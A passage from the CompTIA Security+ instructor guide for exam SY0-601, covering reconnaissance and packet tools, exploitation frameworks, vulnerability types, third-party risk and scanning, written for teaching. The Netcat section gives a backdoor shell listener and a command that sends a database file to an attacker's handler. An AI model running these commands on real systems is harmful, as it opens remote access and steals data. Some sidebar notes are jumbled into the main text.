theHarvester is a tool for gathering open-source intelligence (OSINT) for a particular we will be examining
domain or company name (github.com/laramies/theHarvester). It works by scanning vulnerability scanners
multiple public data sources to gather emails, names, subdomains, IPs, URLs and other in more detail later in
the lesson.
relevant data.

dnsenum
While you can use tools such as dig and whois to query name records and hosting
details and to check that external DNS services are not leaking too much information,
a tool such as dnsenum packages a number of tests into a single query (github.com/
fwaeytens/dnsenum). As well as hosting information and name records, dnsenum can
try to work out the IP address ranges that are in use.

scanless
Port scanning is difficult to conceal from detection systems, unless it is performed
slowly and results gathered over an extended period. Another option is to disguise the
source of probes. To that end, scanless is a tool that uses third-party sites (github.com/
vesche/scanless). This sort of tool is also useful for in a defensive sense by scanning for
ports and services that are open, but shouldn't be.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 42 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

curl
curl is a command-line client for performing data transfers over many types of
protocol (curl.haxx.se). This tool can be used to submit HTTP GET, POST, and PUT
requests as part of web application vulnerability testing. curl supports many other
data transfer protocols, including FTP, IMAP, LDAP, POP3, SMB, and SMTP.

Nessus
The list of services and version information that a host is running can be cross-
checked against lists of known software vulnerabilities. This type of scanning is
usually performed using automated tools. Nessus, produced by Tenable Network
Security (tenable.com/products/nessus/nessus-professional), is one of the best-known
commercial vulnerability scanners. It is available in on-premises (Nessus Manager)
and cloud (Tenable Cloud) versions, as well as a Nessus Professional version, designed
for smaller networks. The product is free to use for home users but paid for on a
subscription basis for enterprises. As a previously open-source program, Nessus also
supplies the source code for many other scanners.

Show Slide(s) Packet Capture and tcpdump

Packet Capture and
Packet and protocol analysis is another crucial security assessment and monitoring
tcpdump process:

Teaching
• Packet analysis refers to deep-down frame-by-frame scrutiny of captured frames.
Tip • Protocol analysis means using statistical tools to analyze a sequence of packets, or
Make sure students packet trace.
understand what
information can be Packet and protocol analysis depends on a sniffer tool to capture and decode the
gathered depending frames of data. Network traffic can be captured from a host or from a network
on where the host/
sensor running the
segment. Using a host means that only traffic directed at that host is captured.
tool is placed in the Capturing from a network segment can be performed by a switched port analyzer
network. (SPAN) port (or mirror port). This means that a network switch is configured to copy
Note that network frames passing over designated source ports to a destination port, which the packet
monitoring is both a sniffer is connected to. Sniffing can also be performed over a network cable segment
threat (snooping) and by using a test access port (TAP). This means that a device is inserted in the cabling to
a security measure copy frames passing over it. There are passive and active (powered) versions.
(snooping on the
snoopers). Typically, sniffers are placed inside a firewall or close to a server of particular
importance. The idea is usually to identify malicious traffic that has managed to
get past the firewall. A single sniffer can generate an exceptionally large amount of
data, so you cannot just put multiple sensors everywhere in the network without
provisioning the resources to manage them properly. Depending on network size and
resources, one or just a few sensors will be deployed to monitor key assets or network
paths.
tcpdump is a command-line packet capture utility for Linux (linux.die.net/man/8/
tcpdump). The basic syntax of the command is tcpdump -i eth0, where
eth0 is the interface to listen on. The utility will then display captured packets until
halted manually (Ctrl+C). Frames can be saved to a .pcap file using the -w option.
Alternatively, you can open a pcap file using the -r option.
tcpdump is often used with some sort of filter expression to reduce the number of
frames that are captured:
• Type—filter by host, net, port, or portrange.

• Direction—filter by source (src) or destination (dst) parameters (host,

network, or port).

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 43

• Protocol—filter by a named protocol rather than port number (for example, arp,
icmp, ip, ip6, tcp, udp, and so on).
Filter expressions can be combined by using Boolean operators:
• and (&&)

• or (||)

• not (!)

Filter syntax can be made even more detailed by using parentheses to group
expressions. A complex filter expression should be enclosed by quotes. For example,
the following command filters frames to those with the source IP 10.1.0.100 and
destination port 53 or 80:
tcpdump -i eth0 "src host 10.1.0.100 and (dst port
53 or dst port 80)"

Packet Analysis and Wireshark Show Slide(s)

A protocol analyzer (or packet analyzer) works in conjunction with a sniffer to perform Packet Analysis and
traffic analysis. You can either analyze a live capture or open a saved capture (.pcap) Wireshark
file. Protocol analyzers can decode a captured frame to reveal its contents in a readable
format. You can choose to view a summary of the frame or choose a more detailed Teaching
view that provides information on the OSI layer, protocol, function, and data. Tip
Students should get as
Wireshark (wireshark.org) is an open-source graphical packet capture and analysis much practice using
utility, with installer packages for most operating systems. Having chosen the interface Wireshark as possible.
to listen on, the output is displayed in a three-pane view. The packet list pane shows a
scrolling summary of frames. The packet details pane shows expandable fields in the
frame currently selected from the packet list. The packet bytes pane shows the raw
data from the frame in hex and ASCII. Wireshark is capable of parsing (interpreting) the
headers and payloads of hundreds of network protocols.
You can apply a capture filter using the same expression syntax as tcpdump (though
the expression can be built via the GUI tools too). You can save the output to a .pcap
file or load a file for analysis. Wireshark supports very powerful display filters (wiki.
wireshark.org/DisplayFilters) that can be applied to a live capture or to a capture file.
You can also adjust the coloring rules (wiki.wireshark.org/ColoringRules), which control
the row shading and font color for each frame.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 44 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Wireshark protocol analyzer. (Screenshot used with permission from wireshark.org.)

Another useful option is to use the Follow TCP Stream context command to
reconstruct the packet contents for a TCP session.

The PCAP file format has some limitations, which has led to the development of PCAP Next
Generation (PCAPNG). Wireshark now uses PCAPNG by default, and tcpdump can process
files in the new format too (cloudshark.io/articles/5-reasons-to-move-to-pcapng).

Show Slide(s) Packet Injection and Replay

Packet Injection and
Some reconnaissance techniques and tests depend on sending forged or spoofed
Replay network traffic. Often, network sniffing software libraries allow frames to be inserted
(or injected) into the network stream. There are also tools that allow for different kinds
of packets to be crafted and manipulated. Well-known tools used for packet injection
include Dsniff (monkey.org/~dugsong/dsniff), Ettercap (ettercap-project.org), Scapy
(scapy.net), and hping (hping.org).

hping
hping is an open-source spoofing tool that provides a penetration tester with the
ability to craft network packets to exploit vulnerable firewalls and IDSs. hping can
perform the following types of test:
• Host/port detection and firewall testing—like Nmap, hping can be used to probe
IP addresses and TCP/UDP ports for responses.

• Traceroute—if ICMP is blocked on a local network, hping offers alternative ways

of mapping out network routes. hping can use arbitrary packet formats, such as
probing DNS ports using TCP or UDP, to perform traces.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 45

• Denial of service (DoS)—hping can be used to perform flood-based DoS attacks

from randomized source IPs. This can be used in a test environment to determine
how well a firewall, IDS, or load balancer responds to such attacks.

tcpreplay
As the name suggests, tcpreplay takes previously captured traffic that has been saved
to a .pcap file and replays it though a network interface (linux.die.net/man/1/tcpreplay).
Optionally, fields in the capture can be changed, such as substituting MAC or IP
addresses. tcpreplay is useful for analysis purposes. If you have captured suspect
traffic, you can replay it through a monitored network interface to test intrusion
detection rules.

Exploitation Frameworks Show Slide(s)

A remote access trojan (RAT) is malware that gives an adversary the means of Exploitation
remotely accessing the network. From the perspective of security posture assessment, Frameworks
a penetration tester might want to try to establish this sort of connection and attempt
to send corporate information over the channel (data exfiltration). If security controls Teaching
are working properly, this attempt should be defeated (or at least detected). Tip
An exploitation framework uses the vulnerabilities identified by an automated These are complex
products, so just focus
scanner and launches scripts or software to attempt to deliver matching exploits. This on the basic uses.
might involve considerable disruption to the target, including service failure, and risk
data security.
The framework comprises a database of exploit code, each targeting a particular
CVE (Common Vulnerabilities and Exposures). The exploit code can be coupled with
modular payloads. Depending on the access obtained via the exploit, the payload code
may be used to open a command shell, create a user, install software, and so on. The
custom exploit module can then be injected into the target system. The framework
may also be able to obfuscate the code so that it can be injected past an intrusion
detection system or anti-virus software.
The best-known exploit framework is Metasploit (metasploit.com). The platform
is open-source software, now maintained by Rapid7. There is a free framework
(command-line) community edition with installation packages for Linux and Windows.
Rapid7 produces pro and express commercial editions of the framework and it can be
closely integrated with the Nexpose vulnerability scanner.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 46 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Metasploit Framework Console. (Screenshot used with permission from metasploit.com.)

Sn1per (github.com/1N3/Sn1per) is a framework designed for penetration test

reporting and evidence gathering. It can integrate with other tools such as Metasploit
and Nikto to run automated suites of tests. Results can be displayed as web reports.
There are many other exploitation frameworks targeting different kinds of
vulnerabilities. Some examples include:
• fireELF—injecting fileless exploit payloads into a Linux host (github.com/rek7/
fireELF).

• RouterSploit—vulnerability scanning and exploit modules targeting embedded

systems (github.com/threat9/routersploit).

• Browser Exploitation Framework (BeEF)—recovering web session information and

exploiting client-side scripting (beefproject.com).

• Zed Attack Proxy (ZAP)—scanning tools and scripts for web application and mobile
app security testing (owasp.org/www-project-zap).

• Pacu—scanning and exploit tools for reconnaissance and exploitation of Amazon

Web Service (AWS) accounts (rhinosecuritylabs.com/aws/pacu-open-source-aws-
exploitation-framework).

Show Slide(s) Netcat

Netcat
One simple but effective tool for testing connectivity is Netcat (nc), available for both
Windows and Linux. Netcat can be used for port scanning and fingerprinting. For
Teaching example, the following command attempts to connect to the HTTP port on a server and
Tip return any banner by sending the "head" HTTP keyword:
Note that there are echo "head" | nc 10.1.0.1 -v 80
several versions of
Netcat, including Netcat can also establish connections with remote machines. To configure Netcat as a
OpenBSD Netcat and
backdoor, you first set up a listener on the victim system (IP: 10.1.0.1) set to pipe traffic
Nmap's ncat (nmap.
org/ncat). from a program, such as the command interpreter, to its handler:
nc -l -p 666 -e cmd.exe

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 47

The following command connects to the listener and grants access to the terminal:
nc 10.1.0.1 666
Used the other way around, Netcat can be used to receive files. For example, on the
target system the attacker runs the following:
type accounts.sql | nc 10.1.0.192 6666
On the handler (IP 10.1.0.192), the attacker receives the file using the following
command:
nc -l -p 6666 > accounts.sql

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 48 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Organizational Security with Network
Reconnaissance Tools
Answer the following questions:

1. You suspect that a rogue host is acting as the default gateway for a subnet
in a spoofing attack. What command-line tool(s) can you use from a
Windows client PC in the same subnet to check the interface properties of
the default gateway?

Use ipconfig to check the IP addresses of the default gateway and the DHCP server. Use
arp to check the MAC addresses associated with those IP addresses and investigate
possible spoofing. You could also use the route command to verify the properties of
the default route.

2. You suspect the rogue host is modifying traffic before forwarding it, with
the side effect of increasing network latency. Which tool could you use to
measure latency on traffic routed from this subnet?

From a Windows host, the pathping tool can be used to measure latency along a route.

3. What type of tool could you use to fingerprint the host acting as the default
gateway?

This requires a tool that performs fingerprinting—service and version detection—by

examining responses to network probes and comparing them to known responses
from common platforms. Nmap is very widely used for this task, or you could use
hping or Netcat.

4. You are investigating a Linux server that is the source of suspicious network
traffic. At a terminal on the server, which tool could you use to check which
process is using a given TCP port?

You can use the netstat command to do this.

5. What is a zone transfer and which reconnaissance tools can be used to test
whether a server will allow one?

A zone transfer is where a domain name server (DNS) allows a client to request all the
name records for a domain. nslookup (Windows) and dig (principally Linux) can be used
to test whether this query is allowed. You could also mention the dnsenum tool, which
will check for zone transfers along with other enumeration tests on DNS infrastructure.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 49

6. What type of organizational security assessment is performed using Nessus?

Nessus is an automated network vulnerability scanner that checks for software

vulnerabilities and missing patches.

7. You are developing new detection rules for a network security scanner.
Which tool will be of use in testing whether the rules match a malicious
traffic sample successfully?

The tcpreplay tool can be used to stream captured traffic from a file to a monitored
network interface.

8. What security posture assessment could a pen tester make using Netcat?

Whether it is possible to open a network connection to a remote host over a given port.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 50 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 3B
Explain Security Concerns with General
Vulnerability Types

Teaching EXAM OBJECTIVES COVERED

Tip 1.6 Explain the security concerns associated with various types of vulnerabilities
This objective covers
a broad range of
vulnerability types and
Performing a security assessment effectively is not simply a matter of choosing
contains some new
areas of focus for the appropriate tools. You need to understand the types of vulnerabilities that affect
exam update, so be information systems and networks. You must also be able to evaluate and explain
prepared to allocate the impacts that can arise from vulnerabilities, so that assessment and remediation
plenty of time to this activities can be given priority where they are most needed.
topic.

Show Slide(s) Software Vulnerabilities and Patch Management

Software
Software exploitation means an attack that targets a vulnerability in software code.
Vulnerabilities and An application vulnerability is a design flaw that can cause the security system to
Patch Management be circumvented or that will cause the application to crash. Typically, vulnerabilities
can only be exploited in quite specific circumstances but because of the complexity
Teaching of modern software and the speed with which new versions must be released to
Tip market, almost no software is free from vulnerabilities. As two contrasting examples,
Students should be consider vulnerabilities affecting Adobe's PDF document reader versus a vulnerability
familiar with the in the server software underpinning transport security. The former could give a threat
concept of software
vulnerabilities, but
actors a foothold on a corporate network via a workstation; the latter could expose
check that they the cryptographic keys used to provide secure web services to compromise. Both are
understand the range potentially high impact for different reasons.
of code and device
types that these affect. It is also important to realize that software vulnerabilities affect all types of code, not
just applications:
• Operating system (OS)—an application exploit will run with the permissions of the
logged on user, which will hopefully be limited. A vulnerability in an OS kernel file or
shared library is more likely to allow privilege escalation, where the malware code
runs with higher access rights (system or root). Dirty COW is one example of a Linux
kernel vulnerability (access.redhat.com/blogs/766093/posts/2757141).

• Firmware—vulnerabilities can exist in the BIOS/UEFI firmware that controls the boot
process for PCs. There can also be bugs in device firmware, such as network cards
and disk controllers. Finally, network appliances and Internet of Things (IoT) devices
run OS code as a type of firmware. Like kernel vulnerabilities, firmware exploits
can be difficult to identify, because the exploit code can run with the highest
level of privilege. The Intel AMT vulnerability illustrates the impacts of a firmware
vulnerability (blackhat.com/docs/us-17/thursday/us-17-Evdokimov-Intel-AMT-
Stealth-Breakthrough-wp.pdf).

Most vulnerabilities are discovered by software and security researchers, who notify
the vendor to give them time to patch the vulnerability before releasing details
to the wider public. Improper or weak patch management is an additional layer
of vulnerability where these security patches are not applied to systems, leaving

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 51

them vulnerable to exploits. Poor configuration management may mean that the
organization is simply not documenting and managing its assets rigorously. Patches
may be deployed to some systems, but not others. Patches may be applied and then
removed because they cause performance issues.

Zero-Day and Legacy Platform Vulnerabilities Show Slide(s)

Even if effective patch management procedures are in place, attackers may still be Zero-Day and
able to use software vulnerabilities as an attack vector. A vulnerability that is exploited Legacy Platform
before the developer knows about it or can release a patch is called a zero-day. These Vulnerabilities
can be extremely destructive, as it can take the vendor some time to develop a patch,
leaving systems vulnerable in the interim.

The term zero-day is usually applied to the vulnerability itself but can also refer to an attack
or malware that exploits it. The EternalBlue zero-day exploit makes for an instructive case
study (wired.com/story/eternalblue-leaked-nsa-spy-tool-hacked-world).

Zero-day vulnerabilities have significant financial value. A zero-day exploit for a mobile
OS can be worth millions of dollars. Consequently, an adversary will only use a zero-
day vulnerability for high value attacks. State security and law enforcement agencies
are known to stockpile zero-days to facilitate the investigation of crimes.
A legacy platform is one that is no longer supported with security patches by its
developer or vendor. This could be a PC/laptop/smartphone, networking appliance,
peripheral device, Internet of Things device, operating system, database/programming
environment, or software application. By definition, legacy platforms are unpatchable.
Such systems are highly likely to be vulnerable to exploits and must be protected
by security controls other than patching, such as isolating them to networks that an
attacker cannot physically connect to.

Weak Host Configurations Show Slide(s)

While ineffective patch and configuration management policies and procedures Weak Host
represent one type of vulnerability, weak configurations can have similar impacts. Configurations

Default Settings Teaching

Tip
Relying on the manufacturer default settings when deploying an appliance or software Focus discussion on
applications is one example of weak configuration. It is not sufficient to rely on the the impact of these
vendor to ship products in a default-secure configuration, though many now do. vulnerabilities. We
Default settings may leave unsecure interfaces enabled that allow an attacker to will be looking at
compromise the device. Network appliances with weak settings can allow attackers to hardening and other
move through the network unhindered and snoop on traffic. mitigation techniques
later in the course.
Unsecured Root Accounts
The root account, referred to as the default Administrator account in Windows or
generically as the superuser, has no restrictions set over system access. A superuser
account is used to install the OS. An unsecured root account is one that an adversary is
able to gain control of, either by guessing a weak password or by using some local boot
attack to set or change the password. Software bugs can also allow root access, such
as one affecting MacOS (arstechnica.com/information-technology/2017/11/macos-
bug-lets-you-log-in-as-admin-with-no-password-required). These vulnerabilities are
extremely serious as they give the threat actor complete control of the system.
Effective user management and authorization policies should be enforced so that the
superuser account is highly restricted and administration tasks are performed by least
privilege management accounts or roles instead. The default root or Administrator

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 52 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

account is usually disabled for login. Even if this type of account is enabled for local
(interactive) login, it should not be accessible via remote login mechanisms.

Open Permissions
Open permissions refers to provisioning data files or applications without
differentiating access rights for user groups. Permissions systems can be complex
and it is easy to make mistakes, such as permitting unauthenticated guests to view
confidential data files, or allowing write access when only read access is appropriate.
This issue is particularly prevalent on cloud storage, where administrators used to
Windows and Linux directory access control lists may be unfamiliar with the cloud
equivalents (directdefense.com/how-to-prevent-exploitation-of-amazon-s3-buckets-
with-weak-permissions).

Show Slide(s) Weak Network Configurations

Weak Network
Vulnerabilities can also arise from running unnecessary services or using weak
Configurations encryption.

Open Ports and Services

Network applications and services allow client connections via Transport Control
Protocol (TCP) or User Datagram Protocol (UDP) port numbers. The clients and
servers are identified by Internet Prototocol (IP) addresses. Servers must operate
with at least some open ports, but security best practice dictates that these should be
restricted to only necessary services. Running unnecessary open ports and services
increases the attack surface. Some generic steps to harden services to meet a given
role include:
• If the service is security-critical (such as a remote administration interface), restrict
endpoints that are allowed to access the service by IP address or address range.
Alternatively, blacklist suspect endpoints from connecting but otherwise allow
access.

• Disable services that are installed by default but that are not needed. Ideally, disable
the service on the server itself, but in some circumstances it may be necessary to
block the port using a firewall instead.

• For services that should only be available on the private network, block access to
ports at border firewalls or segment the network so that the servers cannot be
accessed from external networks.

Unsecure Protocols
An unsecure protocol is one that transfers data as cleartext; that is, the protocol does
not use encryption for data protection. Lack of encryption also means that there is
no secure way to authenticate the endpoints. This allows an attacker to intercept and
modify communications, acting as man-in-the-middle (MITM).

Weak Encryption
Encryption algorithms protect data when it is stored on disk or transferred over
a network. Encrypted data should only be accessible to someone with the correct
decryption key. Weak encryption vulnerabilities allow unauthorized access to data.
Such vulnerabilities arise in the following circumstances:
• The key is generated from a simple password, making it vulnerable to guessing
attempts by brute-force enumeration (if the password is too short) or dictionary
enumeration (if the password is not complex).

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 53

• The algorithm or cipher used for encryption has known weaknesses that allow
brute-force enumeration.

• The key is not distributed securely and can easily fall into the hands of people who
are not authorized to decrypt the data.

Errors
Weakly configured applications may display unformatted error messages under
certain conditions. These error messages can be revealing to threat actors probing for
vulnerabilities and coding mistakes. Secure coding practices should ensure that if an
application fails, it does so "gracefully" without revealing information that could assist
the development of an exploit.

Impacts from Vulnerabilities Show Slide(s)

Vulnerabilities can lead to various data breach and data loss scenarios. These Impacts from
events can have serious impacts in terms of costs and damage to the organization's Vulnerabilities
reputation.
Teaching
Data Breaches and Data Exfiltration Impacts Tip
Ensure students can
All information should be collected, stored, and processed by authenticated users and distinguish breach,
hosts subject to the permissions (authorization) allocated to them by the data owner. exfiltration, and loss
Data breach and data exfiltration describe two types of event where unauthorized and associate these
information use occurs: events with financial
and reputational
• A data breach event is where confidential data is read or transferred without impacts.
authorization. A privacy breach is where personal data is not collected, stored,
or processed in full compliance with the laws or regulations governing personal
information. A breach can also be described as a data leak. A data breach can be
intentional/malicious or unintentional/accidental.

• Data exfiltration is the methods and tools by which an attacker transfers data
without authorization from the victim's systems to an external network or media.
Unlike a data breach, a data exfiltration event is always intentional and malicious. A
data breach is a consequence of a data exfiltration event.

Data breach includes a wide range of scenarios with different levels of impact. The
most severe data breaches compromise valuable intellectual property (IP) or the
personal information of account holders.

Identity Theft Impacts

A privacy breach may allow the threat actor to perform identity theft or to sell the data
to other malicious actors. The threat actor may obtain account credentials or might
be able to use personal details and financial information to make fraudulent credit
applications and purchases.

Data Loss and Availability Loss Impacts

Compared to data breaches, data loss is where information becomes unavailable,
either permanently or temporarily. Availability is sometimes overlooked as a security
attribute compared to confidentiality and integrity, but it can have severe impacts on
business workflows. If processing systems are brought down by accidental or malicious
disaster events, a company may not be able to perform crucial workflows like order
processing and fulfillment.

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 54 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Financial and Reputation Impacts

All these impacts can have direct financial impacts due to damages, fines, and loss of
business. Data/privacy breach and availability loss events will also cause a company's
reputation to drop with direct customers. Major events might cause widespread
adverse publicity on social media and mainstream media. In anticipation of these
impacts, incident handling teams should include public relations (PR) and marketing
expertise to minimize reputational damage.

Show Slide(s) Third-Party Risks

Third-Party Risks
High-profile breaches have led to a greater appreciation of the importance of the
supply chain in vulnerability management. A product, or even a service, may have
Teaching components created and maintained by a long chain of different companies. Each
Tip company in the chain depends on its suppliers or vendors performing due diligence on
Supply chain risks their vendors. A weak link in the chain could cause impacts on service availability and
have been expanded performance, or in the worst cases lead to data breaches.
in the current syllabus
version, so make sure Vendor Management
students are focused
on it. Vendor management is a process for selecting supplier companies and evaluating
the risks inherent in relying on a third-party product or service. When it comes to data
and cybersecurity, you must understand that risks cannot be wholly transferred to the
vendor. If a data storage vendor suffers a data breach, you may be able to claim costs
from them, but your company will still be held liable in terms of legal penalties and
damage to reputation. If your webstore suffers frequent outages because of failures at
a hosting provider, it is your company's reputation that will suffer and your company
that will lose orders because customers look elsewhere.
A vendor may supply documentation and certification to prove that it has implemented
a security policy robustly. You might be able to see evidence of security capabilities,
such as a history of effective vulnerability management and product support. Larger
companies will usually ask vendors to complete a detailed audit process to ensure that
they meet the required standards.
Within vendor management, system integration refers to the process of using
components/services from multiple vendors to implement a business workflow. For
example, a workflow allowing customers to make online purchases might involve the
storefront product, a web application firewall, cloud data processing and analytics,
plus integration with on-premises accounting and customer relationship management
(CRM) and support ticketing systems. The contracting company may have a list of
preferred vendors and ask a third-party systems integrator to build and support the
solution. Alternatively, systems integration might be fully outsourced, with the third-
party integrator also selecting their preferred vendors for the component parts. The
principal risk in both these scenarios is that the contracting company does not have
sufficient expertise to oversee the project and places too much trust in the third-party
integrator.
When a vendor has become deeply embedded within a workflow, lack of vendor
support can have serious impacts, as retooling the workflow to use a different vendor
can be a long and complex process. Vendors may become unsupportive for any
number of reasons. For example, their company might be growing too quickly and
resources are spread too thinly, they may drop support for products that are not
profitable, they may have overstated capabilities in terms of security, and so on. The
key point for vendor management is to assess these risks when determining whether
to outsource all or part of a workflow and to have contingency plans if a vendor does
not perform as expected.

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 55

Outsourced Code Development

The problem of effective oversight is particularly pertinent to outsourced code
development. Many companies do not have in-house programming expertise, but
without such expertise it is hard to ensure that contractors are delivering secure
code. A solution is to use one vendor for development and a different vendor for
vulnerability and penetration testing.

Data Storage
There are two main scenarios for risks to data when using third-parties. First, you may
need to grant vendor access to your data, and second, you may use a vendor to host
data or data backups and archives. The following general precautions should be taken:
• Ensure the same protections for data as though it were stored on-premises,
including authorization and access management and encryption.

• Monitor and audit third-party access to data storage to ensure it is being used only
in compliance with data sharing agreements and non-disclosure agreements.

• Evaluate compliance impacts from storing personal data on a third-party system,

such as a cloud provider or backup/archive management service.

Cloud-Based versus On-Premises Risks

On-premises risks refer to software vulnerabilities, weak configurations, and third-party
issues arising from hosts, servers, routers, switches, access points, and firewalls located
on a private network installed to private offices or campus buildings. Many companies
use cloud services to fully or partly support business workflows. The third-party vendor
management, code, and data storage risks discussed previously apply directly to
cloud as well as to on-premises. Software and weak configuration risks can also apply,
however. They are not the sole responsibility of the cloud service provider (CSP). Clouds
operate a shared responsibility model. This means that the cloud service provider is
responsible for the security of the cloud, while the cloud consumer is responsible for
security in the cloud. The types of software and configuration vulnerabilities that you
must assess and monitor vary according to the nature of the service.

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 56 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Security Concerns with General
Vulnerability Types
Answer the following questions:

1. You are recommending that a business owner invest in patch management

controls for PCs and laptops. What is the main risk from weak patch
management procedures on such devices?
Vulnerabilities in the OS and applications software such as web browsers and
document readers or in PC and adapter firmware can allow threat actors to run
malware and gain a foothold on the network.
2. You are advising a business owner on security for a PC running Windows
XP. The PC runs process management software that the owner cannot run
on Windows 10. What are the risks arising from this, and how can they be
mitigated?
Windows XP is a legacy platform that is no longer receiving security updates. This
means that patch management cannot be used to reduce risks from software
vulnerabilities. The workstation should be isolated from other systems to reduce the
risk of compromise.
3. As a security solutions provider, you are compiling a checklist for your
customers to assess potential weak configuration vulnerabilities, based on
the CompTIA Security+ syllabus. From the headings you have added so far,
which is missing and what vulnerability does it relate to? Default settings,
Unsecured root accounts, Open ports and services, Unsecure protocols,
Weak encryption, Errors.
Open permissions refers to misconfigured access rights for data folders, network file
shares, and cloud storage.
4. You are advising a customer on backup and disaster recovery solutions. The
customer is confused between data breaches and data loss and whether the
backup solution will protect against both. What explanation can you give?
Backup solutions mitigate risks from data loss, where files or information is deleted,
corrupted, or otherwise destroyed. Backup does not mitigate risks from data breach,
where confidential or private data is stolen (exfiltrated) and made public or sold for
criminal profit. Mitigating risks of data breach requires effective secure processing,
authorization, and authentication security controls.
5. A system integrator is offering a turnkey solution for customer contact
data storage and engagement analytics using several cloud services. Does
this solution present any supply chain risks beyond those of the system
integrator's consulting company?
Yes, the system integrator is proposing the use of multiple vendors (the cloud service
providers), with potentially complex issues for collecting, storing, and sharing customer
personal data across these vendors. Each company in the supply chain should be
assessed for risk and compliance with cybersecurity and privacy standards.

Lesson 3: Performing Security Assessments | Topic 3B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 57

Topic 3C
Summarize Vulnerability
Scanning Techniques

EXAM OBJECTIVES COVERED Teaching

1.7 Summarize the techniques used in security assessments Tip
This topic covers the
first part of objective
1.7. The content
Automated vulnerability scanning is a key part of both initial security assessment and
examples for Syslog/
ongoing compliance monitoring. You should be able to summarize types of scanners SIEM are in topic 10C.
and explain the impact of scan configurations. You should also be able to contribute to
While this is not an
threat hunting security assessments and explain how they can be supported by threat implement level
intelligence platforms. objective, there is
a fair amount of
configuration detail in
Security Assessments the content examples.

Network reconnaissance and discovery is used to identify hosts, network topology, Show Slide(s)
and open services/ports, establishing an overall attack surface. Various types of
security assessments can be used to test these hosts and services for vulnerabilities.
Security Assessments
There are many models and frameworks for conducting security assessments. A good
starting point is NIST's Technical Guide to Information Security Testing and Assessment Teaching
(nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf). SP 800-115 Tip
identifies three principal activities within an assessment:
Relate vulnerability
• Testing the object under assessment to discover vulnerabilities or to prove the scanning to other
effectiveness of security controls. types of security
assessment. Note
• Examining assessment objects to understand the security system and identify any that most types
of vulnerability
logical weaknesses. This might highlight a lack of security controls or a common assessment can be
misconfiguration. performed using
automated tools.
• Interviewing personnel to gather information and probe attitudes toward and
understanding of security.

The main types of security assessment are usually classed as vulnerability

assessment, threat hunting, and penetration testing. A vulnerability assessment is an
evaluation of a system's security and ability to meet compliance requirements based
on the configuration state of the system. Essentially, the vulnerability assessment
determines if the current configuration matches the ideal configuration (the baseline).
Vulnerability assessments might involve manual inspection of security controls, but are
more often accomplished through automated vulnerability scanners.

Vulnerability Scan Types Show Slide(s)

An automated scanner must be configured with signatures and scripts that can Vulnerability Scan
correlate known software and configuration vulnerabilities with data gathered from Types
each host. Consequently, there are several types of vulnerability scanners optimized
for different tasks.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 58 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Network Vulnerability Scanner

A network vulnerability scanner, such as Tenable Nessus (tenable.com/products/
nessus) or OpenVAS (openvas.org), is designed to test network hosts, including client
PCs, mobile devices, servers, routers, and switches. It examines an organization's
on-premises systems, applications, and devices and compares the scan results to
configuration templates plus lists of known vulnerabilities. Typical results from a
vulnerability assessment will identify missing patches, deviations from baseline
configuration templates, and other related vulnerabilities.

Greenbone OpenVAS vulnerability scanner with Security Assistant web application interface as installed
on Kali Linux. (Screenshot used with permission from Greenbone Networks, http://www.openvas.org.)

The first phase of scanning might be to run a detection scan to discover hosts on a
particular IP subnet. In the next phase of scanning, a target range of hosts is probed
to detect running services, patch level, security configuration and policies, network
